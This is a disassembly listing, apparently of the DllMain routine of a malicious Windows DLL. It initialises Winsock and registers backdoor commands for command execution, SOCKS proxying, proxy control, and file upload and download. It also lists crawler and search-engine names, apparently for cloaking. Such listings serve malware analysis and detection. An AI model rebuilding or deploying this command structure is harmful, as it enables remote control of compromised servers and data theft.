Function at 0x180005410
Capabilities:
Initialize winsock library

Disassembly:
mov rax, rsp
push rbp
push rdi
push r14
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
mov qword [rbp - 0x21], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rax, qword [0x18004f088]
xor rax, rsp
mov qword [rbp + 0x3f], rax
test edx, edx
je 0x18000612f
cmp edx, 1
jne 0x180006135
mov r8d, 0x1000
lea rbx, [0x180051a10]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edx, eax
mov esi, 0x69
lea r14d, [rsi + 5]
cmp eax, 4
jbe 0x18000548d
add eax, 0xfffffffd
mov word [rbx + rax*2], si
lea eax, [rdx - 2]
mov word [rbx + rax*2], r14w
lea eax, [rdx - 1]
mov word [rbx + rax*2], si
mov qword [rbp + 0x17], send
xor edi, edi
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], dil
lea r8d, [rdi + 7]
lea rdx, str.DllMain
lea rcx, [rbp - 1]
call fcn.180007400
lea rcx, [rbp - 1]
call fcn.180006b00
mov ecx, 0x202
lea rdx, [0x180051870]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov qword [rbp + 0x17], send
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], dil
lea r8d, [rdi + 4]
lea rdx, str.EXEC
lea rcx, [rbp - 1]
call fcn.180007400
nop
lea rdx, [rbp - 1]
call fcn.18000b270
mov rbx, rax
cmp rax, qword [0x180053a60]
je 0x180005519
lea r8, [rax + 0x20]
lea rdx, [rbp - 1]
call fcn.180006f10
test al, al
je 0x180005543
lea rax, [rbp - 1]
mov qword [rbp - 0x29], rax
lea r8, [rbp - 0x29]
call fcn.18000bd60
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x29]
call fcn.18000bdc0
mov rbx, qword [rbp - 0x29]
mov dword [rbx + 0x40], 0x64
mov rax, qword [rbp + 0x17]
cmp rax, 0x10
jb 0x1800055a0
inc rax
mov rcx, qword [rbp - 1]
cmp rax, 0x1000
jb 0x18000559b
test cl, 0x1f
je 0x18000556e
call fcn.1800197bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x18000557d
call fcn.1800197bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x18000558c
call fcn.1800197bc
int3
cmp rcx, 0x27
jbe 0x180005598
call fcn.1800197bc
int3
mov rcx, rax
call fcn.180015170
mov qword [rbp + 0x17], send
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], 0
mov r8d, 7
lea rdx, str.EXECPRO
lea rcx, [rbp - 1]
call fcn.180007400
nop
lea rdx, [rbp - 1]
call fcn.18000b270
mov rbx, rax
cmp rax, qword [0x180053a60]
je 0x1800055ed
lea r8, [rax + 0x20]
lea rdx, [rbp - 1]
call fcn.180006f10
test al, al
je 0x180005617
lea rax, [rbp - 1]
mov qword [rbp - 0x29], rax
lea r8, [rbp - 0x29]
call fcn.18000bd60
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x29]
call fcn.18000bdc0
mov rbx, qword [rbp - 0x29]
mov dword [rbx + 0x40], 0x65
mov rax, qword [rbp + 0x17]
cmp rax, 0x10
jb 0x180005674
inc rax
mov rcx, qword [rbp - 1]
cmp rax, 0x1000
jb 0x18000566f
test cl, 0x1f
je 0x180005642
call fcn.1800197bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x180005651
call fcn.1800197bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x180005660
call fcn.1800197bc
int3
cmp rcx, 0x27
jbe 0x18000566c
call fcn.1800197bc
int3
mov rcx, rax
call fcn.180015170
mov qword [rbp + 0x17], send
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], 0
mov r8d, reloc.WS2_32.dll_inet_addr
lea rdx, str.SOCKS_HELLO
lea rcx, [rbp - 1]
call fcn.180007400
nop
lea rdx, [rbp - 1]
call fcn.18000b270
mov rbx, rax
cmp rax, qword [0x180053a60]
je 0x1800056c1
lea r8, [rax + 0x20]
lea rdx, [rbp - 1]
call fcn.180006f10
test al, al
je 0x1800056eb
lea rax, [rbp - 1]
mov qword [rbp - 0x29], rax
lea r8, [rbp - 0x29]
call fcn.18000bd60
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x29]
call fcn.18000bdc0
mov rbx, qword [rbp - 0x29]
mov dword [rbx + 0x40], 0x66
mov rax, qword [rbp + 0x17]
cmp rax, 0x10
jb 0x180005748
inc rax
mov rcx, qword [rbp - 1]
cmp rax, 0x1000
jb 0x180005743
test cl, 0x1f
je 0x180005716
call fcn.1800197bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x180005725
call fcn.1800197bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x180005734
call fcn.1800197bc
int3
cmp rcx, 0x27
jbe 0x180005740
call fcn.1800197bc
int3
mov rcx, rax
call fcn.180015170
mov qword [rbp + 0x17], send
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], 0
mov r8d, recv
lea rdx, str.SOCKS_CONNECT
lea rcx, [rbp - 1]
call fcn.180007400
nop
lea rdx, [rbp - 1]
call fcn.18000b270
mov rbx, rax
cmp rax, qword [0x180053a60]
je 0x180005795
lea r8, [rax + 0x20]
lea rdx, [rbp - 1]
call fcn.180006f10
test al, al
je 0x1800057bf
lea rax, [rbp - 1]
mov qword [rbp - 0x29], rax
lea r8, [rbp - 0x29]
call fcn.18000bd60
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x29]
call fcn.18000bdc0
mov rbx, qword [rbp - 0x29]
mov dword [rbx + 0x40], 0x67
mov rax, qword [rbp + 0x17]
cmp rax, 0x10
jb 0x18000581c
inc rax
mov rcx, qword [rbp - 1]
cmp rax, 0x1000
jb 0x180005817
test cl, 0x1f
je 0x1800057ea
call fcn.1800197bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x1800057f9
call fcn.1800197bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x180005808
call fcn.1800197bc
int3
cmp rcx, 0x27
jbe 0x180005814
call fcn.1800197bc
int3
mov rcx, rax
call fcn.180015170
mov qword [rbp + 0x17], send
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], 0
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.SOCKS_DISCONNECT
lea rcx, [rbp - 1]
call fcn.180007400
nop
lea rdx, [rbp - 1]
call fcn.18000b270
mov rbx, rax
cmp rax, qword [0x180053a60]
je 0x180005869
lea r8, [rax + 0x20]
lea rdx, [rbp - 1]
call fcn.180006f10
test al, al
je 0x180005893
lea rax, [rbp - 1]
mov qword [rbp - 0x29], rax
lea r8, [rbp - 0x29]
call fcn.18000bd60
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x29]
call fcn.18000bdc0
mov rbx, qword [rbp - 0x29]
mov dword [rbx + 0x40], 0x68
mov rax, qword [rbp + 0x17]
cmp rax, 0x10
jb 0x1800058f0
inc rax
mov rcx, qword [rbp - 1]
cmp rax, 0x1000
jb 0x1800058eb
test cl, 0x1f
je 0x1800058be
call fcn.1800197bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x1800058cd
call fcn.1800197bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x1800058dc
call fcn.1800197bc
int3
cmp rcx, 0x27
jbe 0x1800058e8
call fcn.1800197bc
int3
mov rcx, rax
call fcn.180015170
mov qword [rbp + 0x17], send
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], 0
mov r8d, 0xa
lea rdx, str.SOCKS_READ
lea rcx, [rbp - 1]
call fcn.180007400
nop
lea rdx, [rbp - 1]
call fcn.18000b270
mov rbx, rax
cmp rax, qword [0x180053a60]
je 0x18000593d
lea r8, [rax + 0x20]
lea rdx, [rbp - 1]
call fcn.180006f10
test al, al
je 0x180005967
lea rax, [rbp - 1]
mov qword [rbp - 0x29], rax
lea r8, [rbp - 0x29]
call fcn.18000bd60
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x29]
call fcn.18000bdc0
mov rbx, qword [rbp - 0x29]
mov dword [rbx + 0x40], esi
mov rax, qword [rbp + 0x17]
cmp rax, 0x10
jb 0x1800059c0
inc rax
mov rcx, qword [rbp - 1]
cmp rax, 0x1000
jb 0x1800059bb
test cl, 0x1f
je 0x18000598e
call fcn.1800197bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x18000599d
call fcn.1800197bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x1800059ac
call fcn.1800197bc
int3
cmp rcx, 0x27
jbe 0x1800059b8
call fcn.1800197bc
int3
mov rcx, rax
call fcn.180015170
mov qword [rbp + 0x17], send
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], 0
mov r8d, recv
lea rdx, str.SOCKS_FORWARD
lea rcx, [rbp - 1]
call fcn.180007400
nop
lea rdx, [rbp - 1]
call fcn.18000b270
mov rbx, rax
cmp rax, qword [0x180053a60]
je 0x180005a0d
lea r8, [rax + 0x20]
lea rdx, [rbp - 1]
call fcn.180006f10
test al, al
je 0x180005a37
lea rax, [rbp - 1]
mov qword [rbp - 0x29], rax
lea r8, [rbp - 0x29]
call fcn.18000bd60
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x29]
call fcn.18000bdc0
mov rbx, qword [rbp - 0x29]
mov dword [rbx + 0x40], WSAGetLastError
mov rax, qword [rbp + 0x17]
cmp rax, 0x10
jb 0x180005a94
inc rax
mov rcx, qword [rbp - 1]
cmp rax, 0x1000
jb 0x180005a8f
test cl, 0x1f
je 0x180005a62
call fcn.1800197bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x180005a71
call fcn.1800197bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x180005a80
call fcn.1800197bc
int3
cmp rcx, 0x27
jbe 0x180005a8c
call fcn.1800197bc
int3
mov rcx, rax
call fcn.180015170
mov qword [rbp + 0x17], send
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], 0
mov r8d, 0xa
lea rdx, str.PROXY_LIST
lea rcx, [rbp - 1]
call fcn.180007400
nop
lea rdx, [rbp - 1]
call fcn.18000b270
mov rbx, rax
cmp rax, qword [0x180053a60]
je 0x180005ae1
lea r8, [rax + 0x20]
lea rdx, [rbp - 1]
call fcn.180006f10
test al, al
je 0x180005b0b
lea rax, [rbp - 1]
mov qword [rbp - 0x29], rax
lea r8, [rbp - 0x29]
call fcn.18000bd60
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x29]
call fcn.18000bdc0
mov rbx, qword [rbp - 0x29]
mov dword [rbx + 0x40], WSAGetLastError
mov rax, qword [rbp + 0x17]
cmp rax, 0x10
jb 0x180005b68
inc rax
mov rcx, qword [rbp - 1]
cmp rax, 0x1000
jb 0x180005b63
test cl, 0x1f
je 0x180005b36
call fcn.1800197bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x180005b45
call fcn.1800197bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x180005b54
call fcn.1800197bc
int3
cmp rcx, 0x27
jbe 0x180005b60
call fcn.1800197bc
int3
mov rcx, rax
call fcn.180015170
mov qword [rbp + 0x17], send
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], 0
mov r8d, 9
lea rdx, str.PROXY_ADD
lea rcx, [rbp - 1]
call fcn.180007400
nop
lea rdx, [rbp - 1]
call fcn.18000b270
mov rbx, rax
cmp rax, qword [0x180053a60]
je 0x180005bb5
lea r8, [rax + 0x20]
lea rdx, [rbp - 1]
call fcn.180006f10
test al, al
je 0x180005bdf
lea rax, [rbp - 1]
mov qword [rbp - 0x29], rax
lea r8, [rbp - 0x29]
call fcn.18000bd60
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x29]
call fcn.18000bdc0
mov rbx, qword [rbp - 0x29]
mov dword [rbx + 0x40], WSAGetLastError
mov rax, qword [rbp + 0x17]
cmp rax, 0x10
jb 0x180005c3c
inc rax
mov rcx, qword [rbp - 1]
cmp rax, 0x1000
jb 0x180005c37
test cl, 0x1f
je 0x180005c0a
call fcn.1800197bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x180005c19
call fcn.1800197bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x180005c28
call fcn.1800197bc
int3
cmp rcx, 0x27
jbe 0x180005c34
call fcn.1800197bc
int3
mov rcx, rax
call fcn.180015170
mov qword [rbp + 0x17], send
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], 0
mov r8d, 9
lea rdx, str.PROXY_DEL
lea rcx, [rbp - 1]
call fcn.180007400
nop
lea rdx, [rbp - 1]
call fcn.18000b270
mov rbx, rax
cmp rax, qword [0x180053a60]
je 0x180005c89
lea r8, [rax + 0x20]
lea rdx, [rbp - 1]
call fcn.180006f10
test al, al
je 0x180005cb3
lea rax, [rbp - 1]
mov qword [rbp - 0x29], rax
lea r8, [rbp - 0x29]
call fcn.18000bd60
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x29]
call fcn.18000bdc0
mov rbx, qword [rbp - 0x29]
mov dword [rbx + 0x40], WSAGetLastError
mov rax, qword [rbp + 0x17]
cmp rax, 0x10
jb 0x180005d10
inc rax
mov rcx, qword [rbp - 1]
cmp rax, 0x1000
jb 0x180005d0b
test cl, 0x1f
je 0x180005cde
call fcn.1800197bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x180005ced
call fcn.1800197bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x180005cfc
call fcn.1800197bc
int3
cmp rcx, 0x27
jbe 0x180005d08
call fcn.1800197bc
int3
mov rcx, rax
call fcn.180015170
mov qword [rbp + 0x17], send
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], 0
mov r8d, reloc.WS2_32.dll_inet_addr
lea rdx, str.PROXY_CLEAR
lea rcx, [rbp - 1]
call fcn.180007400
nop
lea rdx, [rbp - 1]
call fcn.18000b270
mov rbx, rax
cmp rax, qword [0x180053a60]
je 0x180005d5d
lea r8, [rax + 0x20]
lea rdx, [rbp - 1]
call fcn.180006f10
test al, al
je 0x180005d87
lea rax, [rbp - 1]
mov qword [rbp - 0x29], rax
lea r8, [rbp - 0x29]
call fcn.18000bd60
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x29]
call fcn.18000bdc0
mov rbx, qword [rbp - 0x29]
mov dword [rbx + 0x40], r14d
mov rax, qword [rbp + 0x17]
cmp rax, 0x10
jb 0x180005de1
inc rax
mov rcx, qword [rbp - 1]
cmp rax, 0x1000
jb 0x180005ddc
test cl, 0x1f
je 0x180005daf
call fcn.1800197bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x180005dbe
call fcn.1800197bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x180005dcd
call fcn.1800197bc
int3
cmp rcx, 0x27
jbe 0x180005dd9
call fcn.1800197bc
int3
mov rcx, rax
call fcn.180015170
mov qword [rbp + 0x17], send
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], 0
mov r8d, reloc.WS2_32.dll_inet_ntoa
lea rdx, str.PROXY_SET_JS
lea rcx, [rbp - 1]
call fcn.180007400
nop
lea rdx, [rbp - 1]
call fcn.18000b270
mov rbx, rax
cmp rax, qword [0x180053a60]
je 0x180005e2e
lea r8, [rax + 0x20]
lea rdx, [rbp - 1]
call fcn.180006f10
test al, al
je 0x180005e58
lea rax, [rbp - 1]
mov qword [rbp - 0x29], rax
lea r8, [rbp - 0x29]
call fcn.18000bd60
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x29]
call fcn.18000bdc0
mov rbx, qword [rbp - 0x29]
mov dword [rbx + 0x40], reloc.WS2_32.dll_WSAGetLastError
mov r8, qword [rbp + 0x17]
cmp r8, 0x10
jb 0x180005e79
inc r8
mov rdx, qword [rbp - 1]
lea rcx, [rbp - 1]
call fcn.180008140
mov qword [rbp + 0x17], send
xor edx, edx
lea rcx, [rbp - 1]
call fcn.1800073e0
lea rdx, str.PROXY_GET_JS
lea rcx, [rbp - 1]
call fcn.180006c50
nop
lea rdx, [rbp - 1]
call fcn.180006310
mov dword [rax], WSACleanup
lea rcx, [rbp - 1]
call fcn.180006b00
lea rdx, str.PROXY_ALLOW_PC
lea rcx, [rbp - 1]
call fcn.180006c50
nop
lea rdx, [rbp - 1]
call fcn.180006310
mov dword [rax], WSACleanup
lea rcx, [rbp - 1]
call fcn.180006b00
lea rdx, str.PROXY_CACHE_CLEAR
lea rcx, [rbp - 1]
call fcn.180006c50
nop
lea rdx, [rbp - 1]
call fcn.180006310
mov dword [rax], WSACleanup
lea rcx, [rbp - 1]
call fcn.180006b00
lea rdx, str.PROXY_CACHE_TIME
lea rcx, [rbp - 1]
call fcn.180006c50
nop
lea rdx, [rbp - 1]
call fcn.180006310
mov dword [rax], reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp - 1]
call fcn.180006b00
lea rdx, str.FILE_UPLOAD
lea rcx, [rbp - 1]
call fcn.180006c50
nop
lea rdx, [rbp - 1]
call fcn.180006310
mov dword [rax], reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp - 1]
call fcn.180006b00
lea rdx, str.FILE_DOWNLOAD
lea rcx, [rbp - 1]
call fcn.180006c50
nop
lea rdx, [rbp - 1]
call fcn.180006310
mov dword [rax], 0x75
lea rcx, [rbp - 1]
call fcn.180006b00
lea rdx, str.baiduspider
lea rcx, [rbp - 1]
call fcn.180006c50
nop
lea rdx, [rbp - 1]
lea rcx, [0x180053a70]
call fcn.180006250
mov dword [rax], 1
lea rcx, [rbp - 1]
call fcn.180006b00
lea rdx, str.googlebot
lea rcx, [rbp - 1]
call fcn.180006c50
nop
lea rdx, [rbp - 1]
lea rcx, [0x180053a70]
call fcn.180006250
mov dword [rax], 1
lea rcx, [rbp - 1]
call fcn.180006b00
lea rdx, [0x180053a30]
lea rcx, [rbp + 0x1f]
call fcn.180006cb0
nop
lea rdx, [rbp - 0x29]
lea rcx, [rbp + 0x1f]
call fcn.180006870
mov r9, rax
lea rdx, [rbp - 0x19]
call fcn.180006820
mov r8, rax
lea rdx, [rbp - 0x11]
call fcn.180006850
mov r9, qword [r9]
mov r8, qword [r8]
mov rdx, qword [rax]
lea rcx, [rbp - 9]
call fcn.18000a480
lea rcx, [rbp + 0x1f]
call fcn.180006780
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180006093
nop dword [rax]
mov r9, rbx
xor r8d, r8d
lea rdx, [rbp - 1]
lea rcx, [rbp + 0x1f]
call fcn.180006740
nop
mov rdx, rax
lea rcx, [0x180053a80]
call fcn.180006250
mov dword [rax], 1
lea rcx, [rbp - 1]
call fcn.180006b00
lea r8, [rbx + 1]
xor edx, edx
lea rcx, [rbp + 0x1f]
call fcn.180006890
lea rcx, [rbp + 0x1f]
call fcn.180006780
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180006040
lea rdx, str.google.com
lea rcx, [rbp - 1]
call fcn.180006c50
nop
lea rdx, [rbp - 1]
lea rcx, [0x180053a90]
call fcn.180006250
mov dword [rax], 1
lea rcx, [rbp - 1]
call fcn.180006b00
lea rdx, str.google.com.vn
lea rcx, [rbp - 1]
call fcn.180006c50
nop
lea rdx, [rbp - 1]
lea rcx, [0x180053a90]
call fcn.180006250
mov dword [rax], 1
lea rcx, [rbp - 1]
call fcn.180006b00
lea rdx, str.coccoc.com
lea rcx, [rbp - 1]
call fcn.180006c50
nop
lea rdx, [rbp - 1]
lea rcx, [0x180053a90]
call fcn.180006250
mov dword [rax], 1
lea rcx, [rbp - 1]
call fcn.180006b00
nop
lea rcx, [rbp + 0x1f]
call fcn.180006b00
jmp 0x180006135
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.180015110
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret